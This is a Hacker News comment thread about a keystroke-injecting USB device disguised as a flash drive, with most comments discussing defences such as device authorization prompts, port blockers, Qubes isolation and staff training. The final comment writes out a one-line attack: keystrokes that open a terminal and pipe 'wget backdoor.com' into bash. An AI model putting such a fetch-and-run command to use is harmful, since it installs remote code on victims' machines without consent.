Thought it was a flash drive [video] | Hacker News Reader

Thought it was a flash drive [video]

reddit.com

33 pointscgtyoder38 comments

Open articleView on HN

Hasn't this been known for half-a-decade?

I mean, it's a product you can literally buy and it's impossible to adequately defend against.

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

https://shop.hak5.org/products/usb-rubber-ducky-deluxe

i've known it was possible, but it's still the first time i'd ever seen a clip of it actually happening.

And i'm pretty sure using this exploit for totally benign marketing purposes is a new one.

Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?

It's a USB keyboard that opens types some commands to open a hard-coded website.

You can't really prevent that.

This is pretty much the way a Yubikey or other 2FA token works, no? The only difference being that it doesn't send the text until the sensor is covered.

It's one way a Yubikey can work: Yubikey one time password (OTP). The more common (I think? Newer and standardized at least) way (U2F) accesses the key over some other method that doesn't have it act like a keyboard. There are other operation modes for Yubikeys, but personally I only use U2F and the CCID (aka act like a smartcard) modes.

You could require confirmation before accepting a new input device. This could be done with out of band signaling (such as a button on the computer itself that you push to say “yes, I want to use this keyboard”) or you could do it by requiring the user to type in a secret (such as their login password, or even just a PIN displayed on the screen) to enable it for other uses.

I don’t know that people would accept this inconvenience, though.

> or you could do it by requiring the user to type in a secret

how would you accomplish this given that the normal situation is that you're plugging in a keyboard?

I think the implication is you can type on the plugged in keyboard, but the OS won't pass the input through unless the first thing typed is a secret.

This is somewhat similar to how bluetooth keyboards are enabled on macOS (or were the last time I connected one).

Precisely. You get some authorization box and your input only goes to that box. If you authorize, it then acts like a normal keyboard.

The problem is.. it's a feature.

All kinds of legitimate (well, this is legitimate too really, it's just weird) devices have similar behaviour, and in their cases it's what the user expects and wants.

On all new and old versions of all major operative systems out there you'll be able to plug in any standard USB keyboard, and it'll start working automatically.

That's exactly what's happening there, but the "keyboard" is pre-programmed to enter keys presses automatically in a way that makes a website pop up.

Of course. That makes total sense.

As has been pointed out, you couldn't block this kind of thing without blocking USB keyboards altogether.

I wonder what it would look like to have a background program that would detect and intercept any newly connected device by default, give it a fake (VM?) environment, and log everything it tried to do to the screen while prompting to ask if you want to let it into the "real" system. Obviously this is what security professionals do manually, but I'm talking about a totally transparent and automatic version that could be left running all the time.

I once worked at a place where the keyboard and mouse were chained to the tower and glued in place, and the spare USB ports were glued over.

What happens when you spill coffee on your keyboard?

You call someone in the IT department to replace the keyboard.

Generally though, places that I've worked at with the same restrictions, also don't let you have liquids at the desk with said stations.

I've been in plenty of machine rooms where liquids == fired/escorted from the building.

Help Desk comes by with a new keyboard, a hair drier, and a glue gun, probably.

A simple system like android fine grained permissions? <usb device> is asking to send keyboard input. Allow/Deny?

This strikes me as the right solution, with two caveats:

• It should allow the keyboard through—or have a timeout that defaults to "yes"—if a mouse or keyboard is not already connected.

• I should have the option to disable it.

desktops and servers could have special "root ports" physically colored red and hidden at the back of the case that don't require permissions.

PS/2!

If there's a monitor, you don't need to trust the first keyboard—just display a message with "type this [random] code to allow this keyboard."

I like this, but how do you know the keyboard layout?

My thought was that it would be an excellent, low knowledge way of figuring that out. For example, if it said type "qwerty" and it came through as "azerty", that would get you 95% of the way to having a fully functional keyboard. Mapping out the requisite keys needed to fully identify the keys could probably be done with a fairly short number of key presses for 99+% of likely keyboards.

For this case, I am assuming that the keyboard and os language are fairly compatible, at least translatable.

I made a script which runs on user logon in my Windows domain and watches for any USB storage device.

It doesn't stop the attack, but in my small(ish) network I can easily recognize unauthorized devices. https://github.com/zelon88/Workstation_USB_Monitor

I used to do the other way around, and disable all my ports until I knew I needed to use one.

Of course, there's always the possibility that I unlock my port and plug in some infected USB of my own volition and it's much more likely than some random person plugging something in.

But, anyway, this thing presents as a keyboard, not a storage device.

I thought about disabling ports, and on some machines I do, but for the most part there would be mutiny if people couldn't charge their phones or use USB sticks for legitimate purposes. I try instead to make sure everyone is skeptical and weary of everything technology related+the corporate network.

I'm in the process of creating a USB drop-test script for employee training purposes. Awareness and preparedness training has been one of my best investments of time and energy with a staggering ROI. My team recently passed my last phishing test 100%.

For phone and device charging, go purchase a bunch of reputable 2 - 4 port chargers and cables and set a policy that phones at other devices should never be plugged into computers. If you want to really dissuade people, add to the policy that the full contents of any phone plugged into a company computer may be silently downloaded and examined by IT.

If the corporate network you're talking about is Windows Active Directory based then I believe that there are Group Policy settings to only allow connection of encrypted external drives. I'm not sure when this was introduced, and it might only be on Windows 10, but hopefully at this point most businesses are either already there or moving in that direction.

The problem is a lot of manufacturing equipment is either not networked, or not networkable. A lot of equipment relies on USB interfaces to load/store programs. Disabling USB ports across the board is not practical.

And with some of the crazy hardware[1] out there for retrofitting antique equipment with modern functionality; blanket encryption is not always possible either. The cited USB emulator requires that the USB stick be formatted into hundreds of minuscule FAT partitions, simulating floppy disks images and all the documentation comes in one language: Engrish. After that the machines will only load programs that follow a certain naming convention/format/ect... [1]http://www.gotekemulator.com/

So the choices for many organizations are; a) upgrade dozens of custom pieces manufacturing equipment so that they're securely networkable at astronomical cost (if it's even possible). b) Air-gap all the old scary stuff running on ancient OSs & proprietary PLC drivers from god-knows-where and only talk to them via USB/direct interfaces and worry about them when they break.

On my Macs, when I try to connect a new Bluetooth keyboard, the system pops up a dialogue asking me to type a randomly-generated passcode before it'll accept any further data from the keyboard.

But it just completely trusts any USB device I plug into it to do whatever. I wonder how much work it would be to have it ask for the user to type a randomly-generated passcode before accepting input from a new USB device?

There are a variety of physical port blockers available as well as devices to lock cables in place. Some protrude, others are flush and require a key for removal.

If you have business policies and training in place, hopefully the additional steps of removing a lock will also provide time for adequate second thoughts to percolate through those with poor judgment. Malicious actors won't be seriously deterred, but that's a different matter.

Qubes OS has an interesting way of combatting these kinds of attacks. You can manually attach a usb drive to a specific program VM, limiting the damage possible by a malicious flash drive.

I want to say it even lets you disable or whitelist usb keyboards/mice entirely but I’m not 100% certain.

QubesOS is pretty different from other OSes though, I wish those sorts of device isolation were possible or more easily accomplished in other operating systems.

At Defcon, a buddy of mine screwed around with a bluetooth HID device, that when connected to, would automatically attempt to open a webpage and send them to an innocuous site (Which obviously could have been a less innocuous site).

Couldn't believe we got multiple people to connect to it under the guise the device would do a cool thing.

Well it is a cool thing. It’s different and that makes it interesting.

Sometimes I feel like all this worrying about computer security makes it harder for people to share new things.

Uh, I think you are making an argument against safety and i'm not sure if you are being sarcastic?

It's one thing to theorize, discuss and build something dangerous, it's another to actually use it.

See Flamethrowers.

Flamethrowers are a great analogy.

Adults who know each other and the dangers well should be (and are) allowed to play with flamethrowers. I’m not sure I’d want to live in a place where they couldn’t.

so... <Super>terminal<Enter>wget backdoor.com | bash<Enter>

Reply on news.ycombinator.com